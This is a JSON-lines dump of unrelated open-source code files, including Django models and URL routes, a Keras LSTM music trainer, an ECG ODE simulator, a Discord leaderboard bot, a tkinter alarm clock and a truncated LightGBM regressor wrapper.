+{"seq_id":"8296452842","text":"from django.db import models\nfrom django.shortcuts import reverse\nimport uuid\nimport re\n\n\nclass Snippet(models.Model):\n id = models.UUIDField('уникальный id', primary_key=True, default=uuid.uuid4)\n title = models.CharField('название сниппета', max_length=200)\n date_pub = models.DateTimeField('дата создания', auto_now_add=True)\n\n PRIVATE_STATUS = (\n ('y', 'Да'),\n ('n', 'Нет'),\n )\n status = models.CharField(\n 'является ли приватным', \n max_length=1, \n choices=PRIVATE_STATUS, \n default='n',\n )\n\n class Meta:\n ordering = ['-date_pub']\n\n def get_absolute_url(self):\n return reverse('snippet_datail_url', args=[str(self.id)])\n\n\n def get_number_of_files(self):\n return len(self.pieceofcode_set.all())\n\n def get_code_preview(self):\n first_part_code = self.pieceofcode_set.first().code\n line_feed_character_indices = [m.start() for m in re.finditer('\\n', first_part_code)]\n if len(line_feed_character_indices) < 10:\n return first_part_code\n else:\n index = line_feed_character_indices[9]\n return first_part_code[:index]\n\n def __str__(self):\n return self.title\n\n\nclass PieceOfCode(models.Model):\n snippet = models.ForeignKey(Snippet, verbose_name='сниппет', on_delete=models.CASCADE)\n LANGUAGES = (\n (None, '------'),\n ('py', 'Python'),\n ('js', 'Javascript'),\n ('php', 'PHP'),\n ('java', 'Java'),\n ('swift', 'Swift'),\n )\n language = models.CharField(\n 'язык программирования', \n max_length=5, \n choices=LANGUAGES, \n blank=True,\n )\n code = models.TextField('код')\n\n def __str__(self):\n return '{code_id} код сниппета {snippet}'.format(\n code_id = self.id,\n snippet = self.snippet.title\n )\n","repo_name":"anderskate/Site_for_snippets","sub_path":"catalog/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34768277465","text":"'''\nAqui é a forma mais comum utilizada para verificar\nse um número é par ou não\n'''\n\nnum = int(input('Digite um número: '))\n\n# Verifico se o número é par ou não\n# validando o módulo de 2\nif num % 2 == 0:\n print('PAR')\nelse:\n print('ÍMPAR')\n","repo_name":"rafaelpuyau/scripts_em_python","sub_path":"testanumpar.py","file_name":"testanumpar.py","file_ext":"py","file_size_in_byte":257,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"72651954000","text":"from lstm_preprocessing import get_notes\nfrom lstm_preprocessing import prepare_sequences\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import Dropout\nfrom keras.layers import LSTM\nfrom keras.layers import Activation\nfrom keras.layers import BatchNormalization as BatchNorm\nfrom keras.callbacks import ModelCheckpoint\n\n\ndef create_network(network_input, n_vocab):\n \"\"\" create the structure of the neural network \"\"\"\n model = Sequential()\n model.add(LSTM(\n 512,\n input_shape=(network_input.shape[1], network_input.shape[2]),\n recurrent_dropout=0.3,\n return_sequences=True\n ))\n model.add(LSTM(512, return_sequences=True, recurrent_dropout=0.3, ))\n model.add(LSTM(512))\n model.add(BatchNorm())\n model.add(Dropout(0.3))\n model.add(Dense(256))\n model.add(Activation('relu'))\n model.add(BatchNorm())\n model.add(Dropout(0.3))\n model.add(Dense(n_vocab))\n model.add(Activation('softmax'))\n model.compile(loss='categorical_crossentropy', optimizer='rmsprop')\n\n return model\n\n\ndef train_network():\n \"\"\" Train a Neural Network to generate music \"\"\"\n notes = get_notes()\n\n # get amount of pitch names\n n_vocab = len(set(notes))\n\n network_input, network_output = prepare_sequences(notes, n_vocab)\n\n model = create_network(network_input, n_vocab)\n\n train(model, network_input, network_output)\n\n\ndef train(model, network_input, network_output):\n \"\"\" train the neural network \"\"\"\n filepath = \"lstm-weights-improvement-{epoch:02d}-{loss:.4f}-bigger.hdf5\"\n checkpoint = ModelCheckpoint(\n filepath,\n monitor='loss',\n verbose=0,\n save_best_only=True,\n mode='min'\n )\n callbacks_list = [checkpoint]\n\n model.fit(network_input, network_output, epochs=200, batch_size=128, callbacks=callbacks_list)\n\n#train_network()","repo_name":"JBhanini/music_generation_with_deep_learning","sub_path":"lstm_train.py","file_name":"lstm_train.py","file_ext":"py","file_size_in_byte":1879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70771775122","text":"import torch\nimport math\nfrom sim_gan.dynamical_model import utils\nimport time\nimport matplotlib.pyplot as plt\n\n\nclass ODEParams:\n def __init__(self, device_name):\n self.A = torch.tensor(0.005).to(device_name) # mV\n self.f1 = torch.tensor(0.1).to(device_name) # mean 1\n self.f2 = torch.tensor(0.25).to(device_name) # mean 2\n self.c1 = torch.tensor(0.01).to(device_name) # std 1\n self.c2 = torch.tensor(0.01).to(device_name) # std 2\n self.rrpc = utils.generate_omega_function(self.f1, self.f2, self.c1, self.c2)\n self.rrpc = torch.tensor(self.rrpc).to(device_name)\n self.h = torch.tensor(1 / 216).to(device_name)\n\n\ndef single_step_euler(ode_params, x_curr, y_curr, z_curr, t_curr, input_params,\n device_name):\n\n h = ode_params.h\n A = ode_params.A\n f2 = ode_params.f2\n rrpc = ode_params.rrpc.float()\n\n a_p = input_params[0]\n a_q = input_params[3]\n a_r = input_params[6]\n a_s = input_params[9]\n a_t = input_params[12]\n\n b_p = input_params[1]\n b_q = input_params[4]\n b_r = input_params[7]\n b_s = input_params[10]\n b_t = input_params[13]\n\n theta_p = input_params[2]\n theta_q = input_params[5]\n theta_r = input_params[8]\n theta_s = input_params[11]\n theta_t = input_params[14]\n\n alpha = 1 - (x_curr * x_curr + y_curr * y_curr) ** 0.5\n cast = (t_curr / h).type(torch.IntTensor)\n tensor_temp = 1 + cast\n tensor_temp = tensor_temp % len(rrpc)\n if rrpc[tensor_temp] == 0:\n print(\"***inside zero***\")\n omega = (2.0 * math.pi / 1e-3)\n # omega = torch.tensor(math.inf).to(device_name)\n else:\n omega = (2.0 * math.pi / rrpc[tensor_temp]).to(device_name)\n\n\n\n d_x_d_t_next = alpha * x_curr - omega * y_curr\n\n d_y_d_t_next = alpha * y_curr + omega * x_curr\n\n theta = torch.atan2(y_curr, x_curr)\n delta_theta_p = torch.fmod(theta - theta_p, 2 * math.pi)\n delta_theta_q = torch.fmod(theta - theta_q, 2 * math.pi)\n delta_theta_r = torch.fmod(theta - theta_r, 2 * math.pi)\n delta_theta_s = torch.fmod(theta - theta_s, 2 * math.pi)\n delta_theta_t = torch.fmod(theta - theta_t, 2 * math.pi)\n\n z_p = a_p * delta_theta_p * \\\n torch.exp((- delta_theta_p * delta_theta_p / (2 * b_p * b_p)))\n\n z_q = a_q * delta_theta_q * \\\n torch.exp((- delta_theta_q * delta_theta_q / (2 * b_q * b_q)))\n\n z_r = a_r * delta_theta_r * \\\n torch.exp((- delta_theta_r * delta_theta_r / (2 * b_r * b_r)))\n\n z_s = a_s * delta_theta_s * \\\n torch.exp((- delta_theta_s * delta_theta_s / (2 * b_s * b_s)))\n\n z_t = a_t * delta_theta_t * \\\n torch.exp((- delta_theta_t * delta_theta_t / (2 * b_t * b_t)))\n\n z_0_t = (A * torch.sin(torch.tensor(2 * math.pi).to(device_name) * f2 * t_curr).to(device_name)).to(device_name)\n\n d_z_d_t_next = -1 * (z_p + z_q + z_r + z_s + z_t) - (z_curr - z_0_t)\n\n k1_x = h * d_x_d_t_next\n\n k1_y = h * d_y_d_t_next\n\n k1_z = h * d_z_d_t_next\n # Calculate next stage:\n x_next = x_curr + k1_x\n y_next = y_curr + k1_y\n z_next = z_curr + k1_z\n\n return x_next, y_next, z_next\n\n\nif __name__ == \"__main__\":\n\n ode_params = ODEParams('cpu')\n\n input_params = torch.nn.Parameter(\n torch.tensor([1.2, 0.25, -60.0 * math.pi / 180.0, -5.0, 0.1, -15.0 * math.pi / 180.0,\n 30.0, 0.1, 0.0 * math.pi / 180.0, -7.5, 0.1, 15.0 * math.pi / 180.0, 0.75, 0.4,\n 90.0 * math.pi / 180.0]))\n x = torch.tensor(-0.417750770388669)\n y = torch.tensor(-0.9085616622823985)\n z = torch.tensor(-0.004551233843726818)\n # x = torch.tensor(1.0)\n # y = torch.tensor(0.0)\n # z = torch.tensor(0.04)\n t = torch.tensor(0.0)\n x_next, y_next, z_next = single_step_euler(ode_params, x, y, z, t, input_params, 'cpu')\n x_t = [x_next]\n y_t = [y_next]\n z_t = [z_next]\n start = time.time()\n for i in range(215 * 1):\n last = z_t[-1]\n\n t += 1 / 512\n x_next, y_next, z_next = single_step_euler(ode_params, x_next, y_next, z_next, t, input_params, 'cpu')\n x_t.append(x_next)\n y_t.append(y_next)\n z_t.append(z_next)\n end = time.time()\n print(\"time: \", end - start)\n # last = z_t[-1]\n # print(last.backward())\n # print(input_params.grad)\n print(\"Z: {}\".format([x.detach().item() for x in z_t]))\n print(\"X: {}\".format([x.detach().item() for x in x_t]))\n print(\"Y: {}\".format([x.detach().item() for x in y_t]))\n print(len(z_t))\n print(\"Max value in the signal: \", max(z_t))\n print(\"Min valuein the signal:\", min(z_t))\n res = [x.detach().numpy() for x in z_t]\n print(len(res))\n plt.plot(res)\n plt.show()\n","repo_name":"DreamStudioAI/sim_gan","sub_path":"sim_gan/dynamical_model/Euler/single_step.py","file_name":"single_step.py","file_ext":"py","file_size_in_byte":4707,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"3"}
+{"seq_id":"37017020790","text":"#!/bin/python3\n\nimport os\nfrom pyaare.pyaare import PyAare\n\n# Set Bern as the default city, if there is none specified\ndefault_city = \"Bern\"\ndefault_threshold = 18.0\n\n# Get the environment variables from i3blocks config\naare_city = os.environ.get('aare_city')\naare_threshold = os.environ.get('aare_threshold')\n\n# Check if a mouse button was pressed\nblock_button = os.environ['BLOCK_BUTTON'] if 'BLOCK_BUTTON' in os.environ else None\nblock_button = int(block_button) if block_button else None\n\n# Ensure a city is set (otherwise pyare will crash)\nif aare_city is None:\n aare_city = default_city\n\nif aare_threshold is None:\n aare_threshold = default_threshold\n\naare = PyAare(city = aare_city)\nif block_button == 3:\n # Get forecast temperature\n temp = aare.tempC2h\nelse:\n # Get the Aare temperature\n temp = aare.tempC\n\nif block_button == 2:\n # Get the flow and the corresponding text\n flow = aare.flow\n flow_text = aare.flowText\n\n# Decide if a jump into the Aare is encouraged or not\nif temp < float(aare_threshold):\n color = '#FFFFFF'\n fulltext = \"\\uf773 \"\nelse:\n color = '#64C8FA'\n fulltext = \"\\uf5c4 \"\n\nif block_button == 3:\n fulltext += \"2h: \"\n\nif block_button == 2:\n form = '{} m³/s: {}'\n fulltext += form.format(flow,flow_text)\nelse:\n form = '{}°'\n fulltext += form.format(color,temp)\n\n\nprint(fulltext)\nprint(fulltext)\n","repo_name":"dominiqueroux/i3blocks-aareguru","sub_path":"aareguru.py","file_name":"aareguru.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"11088912328","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.home, name='home'),\n path('investments/', views.list, name='list'),\n path('investments//', views.detail, name='detail'),\n path('investments/create/', views.InvestmentCreate.as_view(), name='create_investment'),\n path('investments//update/', views.InvestmentUpdate.as_view(), name='update_investment'),\n path('investments//delete/', views.InvestmentDelete.as_view(), name='delete_investment'),\n path('investments//add_prediction/', views.add_prediction, name='add_prediction'),\n path('remove_prediction//', views.remove_prediction, name='remove_prediction'),\n path('investments//assoc_source//', views.assoc_source, name='assoc_source'),\n path('investments//unassoc_source//', views.unassoc_source, name='unassoc_source'),\n path('sources/', views.SourceList.as_view(), name='list_source'),\n path('sources/create/', views.SourceCreate.as_view(), name='create_source'),\n path('sources//update/', views.SourceUpdate.as_view(), name='update_source'),\n path('sources//delete/', views.SourceDelete.as_view(), name='delete_source'),\n path('sources//', views.SourceDetail.as_view(), name='source_detail'),\n]","repo_name":"mohameddiopcodes/Investis","sub_path":"main_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"28395210331","text":"'''----------------------------------------------------------------------------\\\n| ||\\\\ //|| /|¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\\ |\n| || \\\\ // || (o_ / | SUPPLEMENTARY FILE | |\n| || \\\\// || //\\/ | ---- | |\n| || \\/ || V_/_ | LEADERBOARD SYSTEM | |\n| || || |‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗/ |\n\\----------------------------------------------------------------------------'''\n\nimport discord\nfrom discord.ext import commands, tasks\nfrom datetime import datetime, timezone\n\n# Import database methods\nfrom foundationBotDatabaseStuff import *\n\n# import logger\nfrom foundationBotLogger import *\nlogger = Logger()\n\n# Screenshot Leaderboard Entry Object\nclass screenshotLeaderboardEntry:\n def __init__(self):\n self.screenshotID = None\n self.score = None\n\n# Messages Leaderboard Entry Object\nclass messagesLeaderboardEntry:\n def __init__(self):\n self.userID = None\n self.score = None\n\n# Leaderboard System Class\nclass leaderboardSystem:\n def __init__(self):\n self.screenshotLeaderboard = []\n self.messagesLeaderboard = []\n self.screenshotSaveList = []\n self.messagesSaveList = []\n \n def getScreenshotLeaderboard(self):\n return self.screenshotLeaderboard\n \n def setScreenshotLeaderboard(self, sl):\n self.screenshotLeaderboard = sl\n \n def getScreenshotLeaderboardEntry(self, screenshotID):\n for entry in self.screenshotLeaderboard:\n if entry.screenshotID == screenshotID:\n return entry\n \n def createScreenshotLeaderboardEntry(self, sle):\n self.screenshotLeaderboard.append(sle)\n \n def setScreenshotLeaderboardEntryScore(self, sle):\n for entry in self.screenshotLeaderboard:\n if entry.screenshotID == sle.screenshotID:\n entry.score = sle.score\n \n def getScreenshotSaveList(self):\n return self.screenshotSaveList\n \n def clearScreenshotSaveList(self):\n self.screenshotSaveList = []\n \n def createScreenshotSaveListEntry(self, sle):\n self.screenshotSaveList.append(sle)\n \n def setScreenshotSaveListEntryScore(self, sle):\n for entry in self.screenshotSaveList:\n if entry.screenshotID == sle.screenshotID:\n entry.score = sle.score\n \n def getMessagesLeaderboard(self):\n return self.messagesLeaderboard\n \n def setMessagesLeaderboard(self, ml):\n self.messagesLeaderboard = ml\n \n def getMessagesLeaderboardEntry(self, userID):\n for entry in self.messagesLeaderboard:\n if entry.userID == userID:\n return entry\n \n def createMessagesLeaderboardEntry(self, mle):\n self.messagesLeaderboard.append(mle)\n \n def setMessagesLeaderboardEntryScore(self, mle):\n for entry in self.messagesLeaderboard:\n if entry.userID == mle.userID:\n entry.score = mle.score\n \n def getMessagesSaveList(self):\n return self.messagesSaveList\n \n def clearMessagesSaveList(self):\n self.messagesSaveList = []\n \n def createMessagesSaveListEntry(self, mle):\n self.messagesSaveList.append(mle)\n \n def setMessagesSaveListEntryScore(self, mle):\n for entry in self.messagesSaveList:\n if entry.userID == mle.userID:\n entry.score = mle.score\n \nclass LeaderboardPost(commands.Cog):\n def __init__(self, bot, conn, settings, leaderboardSystem):\n self.bot = bot\n self.conn = conn\n self.settings = settings\n self.leaderboardSystem = leaderboardSystem\n self.post.start()\n \n @tasks.loop(minutes=10.0)\n async def post(self):\n #logger.getLogger().info('Leaderboard Postcheck Loop Started')\n if self.settings.messagesPostTime != None:\n if datetime.now(timezone.utc).timestamp() >= self.settings.messagesPostTime:\n guild = self.bot.get_guild(self.settings.guildID)\n leaderboard = self.leaderboardSystem.getMessagesLeaderboard()\n self.leaderboardSystem.setMessagesLeaderboard([])\n self.leaderboardSystem.clearMessagesSaveList()\n clear_messages_leaderboard(self.conn)\n create_messages_leaderboard_table(self.conn)\n self.settings.messagesPostTime += self.settings.leaderboardInterval*24*3600\n update_setting(self.conn, (self.settings.messagesPostTime,'messagesPostTime'))\n if len(leaderboard) > 0:\n formattedleaderboard = [[0]*2 for i in range(len(leaderboard))]\n for i,entry in enumerate(leaderboard):\n if guild.get_member(entry.userID) != None: # check if user is still in the server\n formattedleaderboard[i][0] = guild.get_member(entry.userID).display_name # userid converted to display name\n formattedleaderboard[i][1] = entry.score\n else:\n continue\n formattedleaderboard.sort(key=lambda x: x[1], reverse = True)\n users = ''\n scores = ''\n for i,entry in enumerate(formattedleaderboard):\n if i < 10:\n users += entry[0] + '\\n'\n scores += str(entry[1]) + '\\n'\n else:\n break\n embed = discord.Embed(\n title = 'Messages Leaderboard Week ' + str(datetime.now(timezone.utc).isocalendar()[1]),\n #description = '',\n colour = discord.Colour.dark_green()\n )\n embed.add_field(name='Username' , value=users, inline=True)\n embed.add_field(name='Score', value=scores, inline=True)\n await guild.get_channel(self.settings.leaderboardChannel).send(embed=embed)\n \n if self.settings.screenshotPostTime != None:\n if datetime.now(timezone.utc).timestamp() >= self.settings.screenshotPostTime:\n guild = self.bot.get_guild(self.settings.guildID)\n leaderboard = self.leaderboardSystem.getScreenshotLeaderboard()\n self.leaderboardSystem.setScreenshotLeaderboard([])\n self.leaderboardSystem.clearScreenshotSaveList()\n clear_screenshot_leaderboard(self.conn)\n create_screenshot_leaderboard_table(self.conn)\n self.settings.screenshotPostTime += self.settings.leaderboardInterval*24*3600\n update_setting(self.conn, (self.settings.screenshotPostTime,'screenshotPostTime'))\n if len(leaderboard) > 0:\n winningEntry = leaderboard[0]\n for entry in leaderboard:\n if entry.score > winningEntry.score:\n winningEntry = entry\n if any(entry.score == winningEntry.score for entry in leaderboard):\n winningEntries = []\n for entry in leaderboard:\n if entry.score == winningEntry.score:\n winningEntries.append(entry)\n if self.settings.screenshotChannel != None:\n for entry in winningEntries:\n message = await guild.get_channel(self.settings.screenshotChannel).fetch_message(entry.screenshotID)\n if message.author != None:\n embed = discord.Embed(\n title = 'Screenshot Leaderboard Week ' + str(datetime.now(timezone.utc).isocalendar()[1]),\n description = 'Winner: ' + message.author.mention + ' with ' + str(entry.score) + ' Votes!',\n colour = discord.Colour.dark_green()\n )\n for attachment in message.attachments:\n embed.set_image(url=attachment.url)\n break\n await guild.get_channel(self.settings.leaderboardChannel).send(embed=embed)\n \n @post.before_loop\n async def before_post(self):\n await self.bot.wait_until_ready()","repo_name":"Minotorious/FoundationBot","sub_path":"foundationBotLeaderboard.py","file_name":"foundationBotLeaderboard.py","file_ext":"py","file_size_in_byte":8772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"1337987900","text":"\r\nfrom tkinter import*\r\nfrom PIL import ImageTk,Image\r\nfrom tkinter import messagebox as MessageBox\r\nfrom tkinter import colorchooser as ColorChooser\r\nimport time \r\nimport pygame,sys\r\nfrom pygame.locals import*\r\nfrom tkinter import filedialog\r\npygame.init() \r\n\r\n\r\nroot=Tk()\r\nroot.title(\"love Alarm\")\r\nroot.geometry(\"350x350\")\r\nventanaprincipal=Frame(root,width=1000,height=1000,bg=\"#10ffaa\")\r\nventanaprincipal.grid()\r\n\r\ndef clock():\r\n HoraDeReloj=time.strftime(\"%H\")\r\n MinutosDeReloj=time.strftime(\"%M\")\r\n SegundosDeReloj=time.strftime(\"%S\")\r\n Tiempo=time.strftime(HoraDeReloj+\":\"+MinutosDeReloj+\":\"+SegundosDeReloj)\r\n Labelreloj.config(text=Tiempo)\r\n Labelreloj.after(1000,clock)\r\n \r\n if(HoraDeReloj==entryhoras.get()):\r\n if(MinutosDeReloj==EntryMinutos.get()):\r\n if(SegundosDeReloj==\"00\"):\r\n pygame.mixer.music.play()\r\n respuesta=MessageBox.askquestion(\"AskQuestion\",\"Desea pausar la alarma?\")\r\n if(respuesta==\"yes\"):\r\n pygame.mixer.music.stop()\r\ndef alarmapotente():\r\n MessageBox.showwarning(\"ShowWarning\",\"Alarma establecida\")\r\ndef mostrarmusica():\r\n cancion=filedialog.askopenfilename()\r\n pygame.mixer.music.load(cancion)\r\n\r\nLabelTITULO=Label(ventanaprincipal, text=\"ALARMA\",font=(\"roboto\",14,\"bold\"),background=\"#10ffaa\",foreground=\"black\",width=8,height=2,justify=CENTER)\r\nLabelTITULO.place(x=120,y=10)\r\n\r\n\r\nLabelHORA=Label(ventanaprincipal,text=\"Hora\",font=(\"roboto\",14,\"bold\"),background=\"#10ffaa\",foreground=\"black\",width=8,height=2,justify=CENTER)\r\nLabelHORA.place(x=20,y=100)\r\n\r\nentryhoras=StringVar()\r\nentradahoras=Entry(ventanaprincipal,font=(\"roboto\",12),textvariable=entryhoras).place(x=140,y=110)\r\nLabelHORA=Label(ventanaprincipal,text=\"Minuto\",font=(\"roboto\",14,\"bold\"),background=\"#10ffaa\",foreground=\"black\",width=8,height=2,justify=CENTER)\r\nLabelHORA.place(x=20,y=200)\r\n\r\nEntryMinutos=StringVar()\r\nEntradaMinutos=Entry(ventanaprincipal,font=(\"roboto\",12),textvariable=EntryMinutos).place(x=140,y=210)\r\nLabelreloj=Label(ventanaprincipal,font=(\"roboto\",14,\"bold\"),background=\"#10ffaa\",foreground=\"black\",width=8,height=2,justify=CENTER)\r\nLabelreloj.place(x=120,y=50)\r\nButtonSetAlarma=Button(ventanaprincipal,font=(\"roboto\",12,\"bold\"),text=\"Establecer Alarma\",command=alarmapotente).place(x=10,y=280)\r\n\r\nButtonMP3=Button(ventanaprincipal,font=(\"roboto\",12,\"bold\"),text=\"Seleccionar Musica\",command=mostrarmusica).place(x=180,y=280)\r\n\r\n\r\nclock()\r\nroot.mainloop()","repo_name":"Cruzme12/TRABAJOSS","sub_path":"tkinterEjercicios/alarma.py","file_name":"alarma.py","file_ext":"py","file_size_in_byte":2493,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72497955920","text":"import gc\nimport math\nimport multiprocessing\nimport tempfile\nfrom importlib.util import find_spec\nfrom os.path import join\nfrom typing import Optional\n\nimport lightgbm\nimport numpy\nfrom lightgbm import Booster, record_evaluation\n\nfrom aydin.regression.base import RegressorBase\nfrom aydin.regression.gbm_utils.callbacks import early_stopping\nfrom aydin.util.log.log import lsection, lprint\n\n\nclass LGBMRegressor(RegressorBase):\n \"\"\"\n The LightGBM Regressor uses the gradient boosting library LightGBM to perform\n regression from a set of feature vectors and target values. LightGBM is a\n solid library but we do yet support GPU training and inference. Because\n of lack of GPU support LightGBM is slower than CatBoost, sometimes\n LightGBM gives better results than Catbboost, but not often enough to\n justify the loss of speed.\n \"\"\"\n\n def __init__(\n self,\n num_leaves: Optional[int] = None,\n max_num_estimators: Optional[int] = None,\n max_bin: int = 512,\n learning_rate: Optional[float] = None,\n loss: str = 'l1',\n patience: int = 5,\n verbosity: int = -1,\n compute_load: float = 0.95,\n inference_mode: str = None,\n compute_training_loss: bool = False,\n ):\n \"\"\"Constructs a LightGBM regressor.\n\n Parameters\n ----------\n num_leaves\n Number of leaves in the decision trees.\n We recommend values between 128 and 512.\n (advanced)\n\n max_num_estimators\n Maximum number of estimators (trees). Typical values range from 1024\n to 4096. Use larger values for more difficult datasets. If training\n stops exactly at these values that is a sign you need to increase this\n number. Quality of the results typically increases with the number of\n estimators, but so does computation time too.\n We do not recommend using a value of more than 10000.\n\n max_bin\n Maximum number of allowed bins. The features are quantised into that\n many bins. Higher values achieve better quantisation of features but\n also leads to longer training and more memory consumption. We do not\n recommend changing this parameter.\n (advanced)\n\n learning_rate\n Learning rate for the catboost model. The learning rate is determined\n automatically if the value None is given. We recommend values around 0.01.\n (advanced)\n\n loss\n Type of loss to be used. Van be 'l1' for L1 loss (MAE), and 'l2' for\n L2 loss (RMSE), 'huber' for Huber loss, 'poisson' for Poisson loss,\n and 'quantile' for Auantile loss. We recommend using: 'l1'.\n (advanced)\n\n patience\n Number of rounds after which training stops if no improvement occurs.\n (advanced)\n\n verbosity\n Verbosity setting of LightGBM.\n (advanced)\n\n compute_load\n Allowed load on computational resources in percentage, typically used\n for CPU training when deciding on how many available cores to use.\n (advanced)\n\n inference_mode : str\n Choses inference mode: can be 'lleaves' for the very fast lleaves\n library (only OSX and Linux), 'lgbm' for the standard lightGBM\n inference engine, and 'auto' (or None) tries the best/fastest\n options first and fallback to lightGBM default inference.\n (advanced)\n\n compute_training_loss : bool\n Flag to tell LightGBM whether to compute training loss or not\n (advanced)\n\n \"\"\"\n super().__init__()\n\n self.force_verbose_eval = False\n\n self.num_leaves = 512 if num_leaves is None else num_leaves\n self.max_num_estimators = (\n int(1e4) if max_num_estimators is None else max_num_estimators\n )\n self.max_bin = max_bin\n self.learning_rate = 0.01 if learning_rate is None else learning_rate\n self.metric = loss\n self.early_stopping_rounds = patience\n self.verbosity = verbosity\n self.compute_load = compute_load\n self.inference_mode = 'auto' if inference_mode is None else inference_mode\n self.compute_training_loss = compute_training_loss # This can be expensive\n\n with lsection(\"LGBM Regressor\"):\n lprint(f\"learning rate: {self.learning_rate}\")\n lprint(f\"number of leaves: {self.num_leaves}\")\n lprint(f\"max bin: {self.max_bin}\")\n lprint(f\"n_estimators: {self.max_num_estimators}\")\n lprint(f\"patience: {self.early_stopping_rounds}\")\n lprint(f\"inference_mode: {self.inference_mode}\")\n\n def __repr__(self):\n return f\"<{self.__class__.__name__}, max_num_estimators={self.max_num_estimators}, lr={self.learning_rate}>\"\n\n def _get_params(self, num_samples, dtype=numpy.float32):\n # min_data_in_leaf = 20 + int(0.01 * (num_samples / self.num_leaves))\n\n # Preparing objective:\n objective = self.metric\n if objective.lower() == 'l1':\n objective = 'regression_l1'\n elif objective.lower() == 'l2':\n objective = 'regression_l2'\n elif objective.lower() == 'huber':\n objective = 'huber'\n elif objective.lower() == 'poisson':\n objective = 'poisson'\n elif objective.lower() == 'quantile':\n objective = 'quantile'\n else:\n objective = 'regression_l1'\n\n lprint(f'objective: {self.num_leaves}')\n\n # Setting max depth:\n max_depth = max(3, int(int(math.log2(self.num_leaves))) - 1)\n lprint(f'max_depth: {max_depth}')\n\n # Setting max bin:\n max_bin = 256 if dtype == numpy.uint8 else self.max_bin\n lprint(f'max_bin: {max_bin}')\n\n lprint(f'learning_rate: {self.learning_rate}')\n lprint(f'num_leaves: {self.num_leaves}')\n\n params = {\n \"device\": \"cpu\",\n \"boosting_type\": \"gbdt\",\n 'objective': objective,\n \"learning_rate\": self.learning_rate,\n \"num_leaves\": self.num_leaves,\n \"max_depth\": max_depth,\n \"max_bin\": max_bin,\n \"subsample_for_bin\": 200000,\n \"num_threads\": max(1, int(self.compute_load * multiprocessing.cpu_count())),\n \"metric\": self.metric.lower(),\n 'verbosity': -1,\n \"bagging_freq\": 1,\n \"bagging_fraction\": 0.8,\n \"lambda_l1\": 0.01,\n \"lambda_l2\": 0.01,\n }\n\n return params\n\n def _fit(\n self, x_train, y_train, x_valid=None, y_valid=None, regressor_callback=None\n ):\n\n with lsection(\"GBM regressor fitting:\"):\n\n nb_data_points = y_train.shape[0]\n self.num_features = x_train.shape[-1]\n has_valid_dataset = x_valid is not None and y_valid is not None\n\n lprint(f\"Number of data points: {nb_data_points}\")\n if has_valid_dataset:\n lprint(f\"Number of validation data points: {y_valid.shape[0]}\")\n lprint(f\"Number of features per data point: {self.num_features}\")\n\n train_dataset = lightgbm.Dataset(x_train, y_train)\n valid_dataset = (\n lightgbm.Dataset(x_valid, y_valid) if has_valid_dataset else None\n )\n\n self.__epoch_counter = 0\n\n # We translate the it fgr callback into a lightGBM callback:\n # This avoids propagating annoying 'evaluation_result_list[0][2]'\n # throughout the codebase...\n def lgbm_callback(env):\n try:\n val_loss = env.evaluation_result_list[0][2]\n except Exception as e:\n val_loss = 0\n lprint(\"Problem with getting loss from LightGBM 'env' in callback\")\n print(str(e))\n if regressor_callback:\n regressor_callback(env.iteration, val_loss, env.model)\n else:\n lprint(f\"Epoch {self.__epoch_counter}: Validation loss: {val_loss}\")\n self.__epoch_counter += 1\n\n evals_result = {}\n\n self.early_stopping_callback = early_stopping(\n self, self.early_stopping_rounds\n )\n\n with lsection(\"GBM regressor fitting now:\"):\n model = lightgbm.train(\n params=self._get_params(nb_data_points, dtype=x_train.dtype),\n init_model=None,\n train_set=train_dataset,\n valid_sets=[valid_dataset, train_dataset]\n if self.compute_training_loss\n else valid_dataset,\n early_stopping_rounds=None if has_valid_dataset else None,\n num_boost_round=self.max_num_estimators,\n callbacks=[\n lgbm_callback,\n self.early_stopping_callback,\n record_evaluation(evals_result),\n ]\n if has_valid_dataset\n else [lgbm_callback],\n )\n lprint(\"GBM fitting done.\")\n\n del train_dataset\n del valid_dataset\n\n if has_valid_dataset:\n self.last_valid_loss = evals_result['valid_0'][self.metric][-1]\n\n if self.compute_training_loss:\n loss_history = {\n 'training': evals_result['training'][self.metric],\n 'validation': evals_result['valid_0'][self.metric],\n }\n else:\n loss_history = {'validation': evals_result['valid_0'][self.metric]}\n\n gc.collect()\n return _LGBMModel(model, self.inference_mode, loss_history)\n\n\nclass _LGBMModel:\n def __init__(self, model, inference_mode, loss_history):\n self.model: Booster = model\n self.inference_mode = inference_mode\n self.loss_history = loss_history\n\n def _save_internals(self, path: str):\n if self.model is not None:\n lgbm_model_file = join(path, 'lgbm_model.txt')\n self.model.save_model(lgbm_model_file)\n\n def _load_internals(self, path: str):\n lgbm_model_file = join(path, 'lgbm_model.txt')\n self.model = Booster(model_file=lgbm_model_file)\n\n # We exclude certain fields from saving:\n def __getstate__(self):\n state = self.__dict__.copy()\n del state['model']\n return state\n\n def predict(self, x):\n with lsection(\"GBM regressor prediction:\"):\n\n lprint(f\"Number of data points : {x.shape[0]}\")\n lprint(f\"Number of features per data points: {x.shape[-1]}\")\n\n # we decide here what 'auto' means:\n if self.inference_mode == 'auto':\n if 